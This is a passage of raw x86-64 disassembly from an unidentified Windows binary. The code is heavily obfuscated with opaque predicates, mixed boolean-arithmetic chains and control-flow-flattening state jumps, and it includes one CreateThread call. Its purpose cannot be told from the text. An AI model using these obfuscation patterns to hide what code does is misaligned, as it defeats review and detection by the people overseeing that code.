and edx, 0x95883e1a
or edx, ecx
xor edx, 0x95883e1b
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x72ef8736
and ecx, 0x8d1078c9
or ecx, edx
mov edx, ecx
xor edx, 0x81103881
xor ecx, 0x12640410
and ecx, 0x1e644458
and edx, 0xe19bbba7
or edx, ecx
xor edx, 0x1e644458
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg cl
mov eax, r9d
xor al, cl
mov ebx, eax
and bl, r9b
and al, cl
mov r10d, ebx
xor r10b, 1
xor bl, al
xor al, 1
or al, r10b
xor al, 1
or al, bl
and r9b, dl
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, r8b
xor dl, r8b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
mov ecx, eax
xor cl, 1
mov r8d, eax
and r8b, cl
mov ebx, r8d
xor bl, 1
xor r8b, al
or bl, cl
xor bl, 1
or bl, r8b
xor bl, dl
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov eax, ebx
xor al, cl
not al
test al, 1
mov eax, 0x9fa32251
mov edx, 0x7b22e6a1
cmovne eax, edx
test cl, 1
mov ecx, 0x9fa32251
cmovne ecx, eax
jmp 0x14019f4d6
mov rax, qword [rbp - 0x58]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov r8, qword [rbp - 0x40]
mov rax, qword [rbp - 0x58]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r9, r13
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov edx, dword [0x1402656c8]
lea edi, [rdx - 1]
imul edi, edx
mov esi, edi
not esi
mov ecx, edi
or ecx, 1
mov ebx, ecx
not ebx
and ecx, 0x41401b15
and ebx, 0xbebfe4ea
or ebx, ecx
mov edx, esi
or edx, 0x41401b14
and edx, 0x41401b15
xor edx, ebx
and esi, 0x6a01024f
and edi, 0x95fefdb0
or edi, esi
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x7ad67200
and edx, 0x85298dff
or edx, ebx
mov ecx, edi
xor ecx, 0x85288db0
xor edi, 0x6a000200
and edi, 0x7ad67200
and ecx, 0x85298dff
or ecx, edi
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
sete cl
setne dl
cmp dword [0x1402656c4], 9
setg r8b
mov ebx, r8d
and bl, dl
xor dl, r8b
or dl, bl
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or bl, cl
mov edx, ebx
xor dl, cl
mov edx, 0xcf15b4da
mov edi, 0xdce62be1
cmovne edx, edi
test bl, bl
mov ebx, 0xcf15b4da
cmovne ebx, edx
mov qword [rbp - 8], rax
test cl, cl
cmove ebx, edx
mov eax, ebx
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov esi, edx
mov edi, edx
xor edi, 0xc7fe3f56
and edi, edx
not edx
and edx, 0x8c7a1902
and esi, 0x7385e6fd
or esi, edx
mov ecx, esi
xor ecx, 0x7385e6fd
mov ebx, esi
xor ebx, 0x4b842654
and ebx, ecx
mov edx, ebx
not edx
mov eax, edi
not eax
mov r9d, edx
and r9d, 0x35cd6988
and ebx, 0xca329677
or ebx, r9d
or edx, eax
and eax, 0x35cd6988
and edi, 0xca329677
or edi, eax
xor edi, ebx
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0x3801c0a8
and edx, 0xc7fe3f57
or edx, eax
xor esi, 0x80120802
and esi, 0xe097a803
mov eax, ecx
and eax, 0x1f6857fc
or eax, esi
xor eax, 0xe097a802
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1c5c351f
and ecx, 0xe3a3cae0
or ecx, eax
xor ecx, 0xe3a3cae0
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xcfd53bfc
and eax, ecx
and ecx, 0x302ac403
or ecx, edx
xor ecx, 0x302ac403
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x369c2865
and ecx, 0xc963d79a
or ecx, eax
mov eax, ecx
xor eax, 0x140c710
xor ecx, 0x261c2040
and ecx, 0xee3f30ca
and eax, 0x11c0cf35
or eax, ecx
xor eax, 0xee3f30ca
cmp eax, 0xffffffff
sete r9b
setne r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
mov eax, edx
xor al, cl
and al, dl
mov ebx, eax
xor bl, 1
or bl, al
xor bl, 1
mov r8d, eax
and r8b, bl
xor bl, al
or bl, r8b
xor bl, r10b
and r9b, cl
and dl, r10b
or dl, r9b
mov eax, ecx
xor al, r10b
or cl, r10b
xor cl, 1
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov edx, ebx
and al, cl
mov r8d, ebx
mov r9d, ecx
and r9b, al
xor al, cl
mov r10d, ebx
and r10b, cl
xor cl, bl
xor bl, 1
and dl, bl
xor r8b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r8b
or al, r9b
xor al, dl
or cl, r10b
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x338b1c76
mov ebx, 0x1a0e412e
cmovne edx, ebx
test cl, 1
mov ecx, 0x338b1c76
jmp 0x140195e0e
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x239606de
and ecx, 0xdc69f921
or ecx, ebx
xor ecx, 0xdc69f921
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x4967c167
and ecx, 0xb6983e98
or ecx, edx
xor ecx, 0xb6983e98
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
xor cl, 1
and dl, al
or al, r8b
xor al, 1
and bl, r8b
or bl, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor bl, cl
and cl, bl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xb902f6a1
mov edx, 0x18e46bd0
cmovne eax, edx
test bl, bl
mov edx, 0xb902f6a1
cmovne edx, eax
test cl, cl
jmp 0x1401a0e8b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xdd725c78
mov edi, ecx
and edi, 0x228da386
or edi, ebx
xor edi, 0x228da386
mov ebx, ecx
and ebx, 1
or ebx, edi
and edx, 0xdff88d17
and ecx, 0x200772e8
or ecx, edx
mov edx, ecx
xor edx, 0x200772e8
xor ecx, 0xdff88d17
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
xor ebx, ecx
test ebx, ecx
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg dl
mov r11d, r10d
xor r11b, dl
mov eax, r11d
and al, r10b
and r11b, dl
xor al, 1
xor r11b, 1
mov ecx, eax
xor cl, r11b
or r11b, al
xor r11b, 1
or r11b, cl
mov eax, edx
xor al, r8b
and al, dl
and r9b, r10b
and dl, r8b
or dl, r9b
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov r9d, r11d
xor r9b, 1
mov edx, r11d
and dl, r9b
mov eax, ecx
and al, r8b
mov ebx, edx
xor bl, 1
xor dl, r11b
or bl, r9b
xor bl, 1
or bl, dl
mov edx, eax
xor dl, 1
xor al, cl
or dl, r8b
xor dl, 1
or dl, al
xor dl, bl
mov eax, r11d
xor al, cl
or cl, r11b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x7beb45
mov ebx, 0xaed3e73f
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x7beb45
jmp 0x1401a26bd
mov eax, 0xa36b7657
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea esi, [rax - 1]
imul esi, eax
mov edi, esi
not edi
mov edx, edi
or edx, 0xc10098
mov ebx, esi
or ebx, 1
and ebx, 0xc10099
mov eax, edi
and eax, 0xff3eff66
or eax, ebx
and edx, 0xc10099
xor edx, eax
mov eax, edx
not eax
and eax, 0x4e614778
and edx, 0xb19eb887
or edx, eax
mov eax, edx
xor eax, 0xa1848881
xor edx, 0x4e614778
mov ebx, edx
and ebx, 0x183a365e
and eax, 0xe7c5c9a1
or eax, ebx
or edx, esi
and esi, 0x183a365e
and edi, 0xe7c5c9a1
or edi, esi
xor edi, eax
not edx
or edx, edi
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp ecx, 9
setg dil
cmp ecx, 0xa
setl r10b
mov ebx, r10d
xor bl, dil
and bl, r10b
mov r11d, r9d
xor r11b, r8b
and r11b, r9b
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov esi, eax
and sil, cl
xor cl, al
or cl, sil
or al, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, r11d
xor cl, 1
mov ebx, r11d
and bl, cl
xor bl, 1
mov esi, ebx
xor sil, cl
or bl, cl
xor bl, 1
or bl, sil
or cl, r11b
xor cl, 1
mov r11d, ebx
and r11b, cl
xor cl, bl
or cl, r11b
xor al, 1
mov edx, eax
xor dl, cl
xor dl, 1
and dl, cl
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
or r10b, r9b
xor r10b, 1
xor dil, r8b
mov eax, r10d
and al, dil
xor dil, r10b
or dil, al
xor dil, 1
mov eax, edx
xor al, dil
or dil, dl
xor dil, 1
or dil, al
mov ecx, edi
xor cl, al
test dil, 1
mov edx, 0x54dd4423
mov ebx, 0x8ec5b902
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0x54dd4423
jmp 0x1401a0e8b
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x72cef7a5
and ecx, edx
not edx
and edx, 0x60ce2624
and eax, 0x1200d181
or eax, edx
xor eax, 0x1200d181
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x511a7f8f
and ecx, 0xaee58070
or ecx, eax
mov edx, ecx
xor edx, 0xdc2b77d5
mov ebx, ecx
xor ebx, 0xdc2b77d4
and ebx, edx
xor ecx, 0x22d0002a
and ecx, 0xe6f940be
and edx, 0x1906bf41
or edx, ecx
mov ecx, edx
xor ecx, 0x1003a40
mov eax, ebx
not eax
xor edx, 0xe6f940bf
mov edi, eax
and edi, 0x9a8fc5b6
and ebx, 0x65703a49
or ebx, edi
or eax, edx
and edx, 0x9a8fc5b6
and ecx, 0x65703a49
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb79b4806
and eax, 0x4864b7f9
or eax, ecx
mov ecx, eax
xor ecx, 0x43331
xor eax, 0x801a4000
and eax, 0xc87ac4c8
and ecx, 0x37853b37
or ecx, eax
mov eax, ecx
xor eax, 0x20011905
xor ecx, 0x88684040
and ecx, 0x9fec6272
and eax, 0x60139d8d
or eax, ecx
xor eax, 0x9fec6272
cmp eax, 0xffffffff
setne al
cmp dword [0x1402656c4], 9
setg cl
xor al, cl
or cl, al
xor cl, 1
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0x46fbb206
mov ebx, 0x6fc73425
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x46fbb206
jmp 0x140198b96
mov eax, 0xe01f6ab1
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x66c8b04a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x7c86df07
and edx, 0x837920f8
or edx, ecx
mov ecx, edx
xor ecx, 0x1212050
xor edx, 0x44040c04
and edx, 0xc65c0cac
and ecx, 0x39a3f353
or ecx, edx
mov edx, ecx
xor edx, 0x840c0c24
mov ebx, ecx
xor ebx, 0x39a3f353
mov edi, ecx
xor edi, 0xac0e0c66
and edi, ebx
and edx, 0x95adff35
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x95adff34
and edx, 0x6a5200cb
or edx, edi
and ebx, 1
xor ecx, 0x39a3f352
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x14294825
and ecx, 0xebd6b7da
or ecx, ebx
xor ecx, 0xebd6b7da
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0xc302bb79
and edx, 0x3cfd4486
or edx, ecx
mov ecx, edx
xor ecx, 0x3c990404
xor edx, 0xc002b819
and edx, 0xc066f89b
and ecx, 0x3f990764
or ecx, edx
mov edx, ecx
xor edx, 0x8022a818
xor ecx, 0x31080160
and ecx, 0x714c51e3
and edx, 0x8eb3ae1c
or edx, ecx
xor edx, 0x8eb3ae1c
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov r8d, eax
xor r8b, dl
and cl, bl
or bl, dl
xor bl, 1
and al, dl
or al, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
not cl
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
and cl, r8b
xor r8b, 1
xor al, 1
mov edx, r8d
xor dl, al
and dl, r8b
and al, r8b
or al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x56def22f
mov ebx, 0xf164daa
cmovne ecx, ebx
test al, al
mov eax, ecx
cmovne eax, ebx
jmp 0x1401a14d9
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x42a32f7d
mov edx, ebx
and edx, 0xbd5cd082
or edx, edi
mov edi, edx
not edi
and edi, 0xbd5cd083
and edx, 0x42a32f7c
or edx, edi
and ecx, 0x1c6087a
and ebx, 0xfe39f785
or ebx, ecx
mov ecx, ebx
xor ecx, 0x4c09e285
mov edi, edx
not edi
mov esi, edi
and esi, 0xb2f61538
and edx, 0x4d09eac7
or edx, esi
xor ebx, 0xc60038
and ebx, 0xb2f61538
and ecx, 0x4d09eac7
or ecx, ebx
xor ecx, edx
xor edi, ecx
test edi, ecx
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov r10d, ecx
xor r10b, r8b
mov r9d, r10d
xor r9b, 1
and bl, r8b
and dl, cl
or dl, bl
or cl, r8b
xor cl, 1
or cl, r10b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov r8d, r10d
and r8b, r9b
mov edx, ebx
and dl, cl
mov eax, r8d
xor al, 1
xor r8b, r10b
or al, r9b
xor al, 1
or al, r8b
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, al
mov eax, r10d
xor al, bl
or bl, r10b
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, dl
test bl, 1
mov eax, 0xd0a3c1d7
mov ebx, 0x199e60ee
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0xd0a3c1d7
jmp 0x1401a14db
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x5cab103d
mov edx, edi
and edx, 0xa354efc2
or edx, ebx
mov ebx, edx
xor ebx, 0x20400c40
xor edx, 0x40a21008
mov ecx, edi
xor ecx, 0x60e67d4a
and ecx, edi
or edx, 0x9f1982b5
mov eax, ecx
not eax
mov esi, edx
and esi, 0xcf3f71ba
and ebx, 0x20c00c40
or ebx, esi
or edx, eax
and eax, 0xcf3f71ba
and ecx, 0x30c08e45
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x9f1982b4
and edx, 0x60e67d4b
or edx, eax
not edx
and r9d, 0x3971e607
and edi, 0xc68e19f8
or edi, r9d
xor edi, 0xc68e19f8
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
cmp edi, 0xffffffff
setne dl
sete bl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg al
and bl, al
and cl, dl
or cl, bl
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
and bl, cl
xor cl, 1
xor al, 1
and al, cl
or al, bl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x760cc7a9
mov ebx, 0xd9d2c7bf
cmovne edx, ebx
test cl, 1
mov ecx, 0x760cc7a9
jmp 0x14019a3d7
mov eax, 0x92b31808
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x8fc93ba0
and edx, ebx
not ebx
and ebx, 0x88892220
and ecx, 0x7401980
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4000000
xor ecx, 0xf8bfe67f
mov edi, edx
not edi
mov esi, ecx
and esi, 0x6bd9dbff
and ebx, 0x84002000
or ebx, esi
or ecx, edi
and edi, 0x6bd9dbff
and edx, 0x94262400
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2094127c
and ecx, 0xdf6bed83
or ecx, edx
mov edx, ecx
xor edx, 0x50a2d202
mov ebx, ecx
xor ebx, 0xaf5d29dc
mov edi, ebx
and edi, 0xad512ced
and edx, 0x52aed312
or edx, edi
mov edi, edx
not edi
and edi, 0xe9544955
and edx, 0x16abb6aa
or edx, edi
xor edx, 0xbbfa9a46
and ebx, 1
xor ecx, 0xaf5d29dd
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xaec4422c
and ecx, 0x513bbdd3
or ecx, ebx
xor ecx, 0x513bbdd3
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov edx, r10d
xor dl, cl
and dl, r10b
mov ebx, edx
xor bl, 1
mov eax, edx
or al, bl
xor dl, al
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, r9d
or dl, al
xor al, 1
or al, r8b
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
and r9b, r10b
and cl, r8b
or cl, r9b
mov edx, r10d
and dl, r8b
xor r10b, r8b
or r10b, dl
mov edx, r10d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0xcb1f7635
mov edi, 0xc3372ba0
cmovne ecx, edi
test bl, 1
mov edx, 0xcb1f7635
cmovne ecx, edx
test al, 1
cmove ecx, edi
jmp 0x1401a26c0
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x87059960
mov eax, edx
and eax, 0x78fa669f
or eax, ebx
mov ebx, eax
not ebx
and ebx, 0x78fa669e
and eax, 0x87059961
or eax, ebx
mov ebx, eax
not ebx
mov edi, eax
and edi, 0xd237138d
and ebx, 0x2dc8ec72
or ebx, edi
or eax, edx
and edx, 0xd237138d
and ecx, 0x2dc8ec72
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x1bf37a6e
and eax, 0xe40c8591
or eax, ecx
xor eax, 0xe40c8591
sete bl
setne cl
cmp dword [0x1402656c4], 0xa
setl r8b
xor cl, r8b
xor cl, 1
mov eax, r8d
or al, bl
xor al, 1
or al, cl
mov r9d, eax
xor r9b, 1
mov edx, ebx
xor dl, r8b
and bl, dl
and dl, r8b
xor bl, 1
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
and r9b, cl
xor cl, 1
and cl, al
or cl, r9b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov edx, ebx
xor dl, cl
test bl, 1
mov eax, 0x527183bb
mov ebx, 0x4fdb2de5
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x527183bb
jmp 0x1401a14db
mov eax, 0x30444d23
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0xc42547df
mov edx, ebx
xor edx, 0xc42547df
and edx, ebx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x3bdab821
and edx, 0xc42547de
or edx, edi
mov esi, edx
not esi
mov edi, esi
and edi, 0x7b93afe1
and edx, 0x846c501e
or edx, edi
and ebx, 0x7b93afe1
and ecx, 0x846c501e
or ecx, ebx
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov r11d, r10d
or r11b, al
mov edx, r10d
xor dl, al
mov ecx, edx
not cl
and cl, al
mov ebx, r11d
xor bl, cl
xor cl, 1
xor bl, 1
or cl, r11b
xor cl, 1
or cl, bl
and dl, al
and r9b, r8b
and al, r10b
or al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x99f8491e
mov ebx, 0x8f6ea94f
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0x99f8491e
cmovne eax, ebx
jmp 0x1401a10d4
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0x493e2b89
and ecx, 0xb6c1d476
or ecx, ebx
mov ebx, ecx
xor ebx, 0x26819031
mov edi, edx
not edi
xor ecx, 0x493e2b88
mov esi, edi
and esi, 0xd87c65ce
and edx, 0x27839a31
or edx, esi
or edi, ecx
and ecx, 0xd87c65ce
and ebx, 0x27839a31
or ebx, ecx
xor ebx, edx
not edi
or edi, ebx
mov edx, edi
xor edx, 0x8caa927a
and edx, edi
mov ecx, edi
or ecx, 0x73556d85
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x7b4da990
and ebx, 0x84a2126a
or ebx, esi
or ecx, edi
and edi, 0x7b4da990
and edx, 0x84b2566f
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7ed95365
and ecx, 0x8126ac9a
or ecx, edx
mov edx, ecx
xor edx, 0x82200
xor ecx, 0xa251c00a
and edx, 0x502a2315
and ecx, 0xafd5dcea
or ecx, edx
xor ecx, 0x502a2315
cmp ecx, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
and dl, bl
and r8b, al
xor al, bl
or al, dl
xor al, 1
and cl, bl
or cl, r8b
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x6d38cf77
mov ebx, 0x765068d6
cmovne eax, ebx
test cl, 1
mov ecx, 0x6d38cf77
jmp 0x14019c0ca
mov eax, 0x5d4e1a52
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0xe5571c76
mov edx, edi
and edx, 0x1aa8e388
or edx, ebx
mov ebx, edx
xor ebx, 0x888a200
xor edx, 0xe5571c77
mov ecx, edi
xor ecx, 0xfffffffe
and ecx, edi
mov eax, ecx
not eax
mov esi, edx
and esi, 0x926055cf
and ebx, 0x6d9faa30
or ebx, esi
or edx, eax
and eax, 0x926055cf
and ecx, 0x6d9faa30
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x583f59fd
and eax, 0xa7c0a602
or eax, ecx
or edx, edi
and edi, 0x583f59fd
and r9d, 0xa7c0a602
or r9d, edi
xor r9d, eax
not edx
or edx, r9d
cmp edx, 0xffffffff
sete r9b
cmp r8d, 9
setg r10b
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, r9b
mov eax, edx
and al, bl
and bl, r9b
or bl, dl
and dl, r9b
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor r10b, r9b
mov edx, r10d
xor dl, bl
or bl, r10b
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
xor al, 1
mov ecx, ebx
and cl, dl
mov r8d, ebx
xor r8b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r8b
xor cl, al
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xe4741157
mov ebx, 0x3cd767d
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0xe4741157
jmp 0x1401a14db
mov eax, 0xc91f081f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov eax, ebx
not eax
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov ecx, ebx
or ecx, 1
mov esi, edx
not esi
mov r9d, ecx
and r9d, 0x4c665b14
mov edi, eax
and edi, 0xb399a4ea
or edi, r9d
or ecx, esi
and esi, 0x4c665b14
and edx, 0xb399a4eb
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0x4af0b08f
and edx, 0xb50f4f70
or edx, edi
or ecx, ebx
and ebx, 0x4af0b08f
and eax, 0xb50f4f70
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9cfa2b51
and ecx, 0x6305d4ae
or ecx, eax
xor ecx, 0x6305d4ae
sete r10b
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
mov edx, ebx
and dl, cl
mov eax, ebx
xor al, cl
or al, dl
xor bl, r10b
not bl
and bl, r10b
xor cl, r9b
not cl
and cl, r9b
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xbc4dac0f
mov edi, 0x69766969
cmovne eax, edi
test dl, dl
mov ecx, eax
cmovne ecx, edi
jmp 0x1401a1a3b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xb28e4854
and ebx, 0x4d71b7ab
or ebx, ecx
mov r9d, ebx
xor r9d, 0x4d71b7ab
mov edx, ebx
xor edx, 0xb28e4854
xor ebx, 0x88287c53
mov esi, ebx
and esi, edx
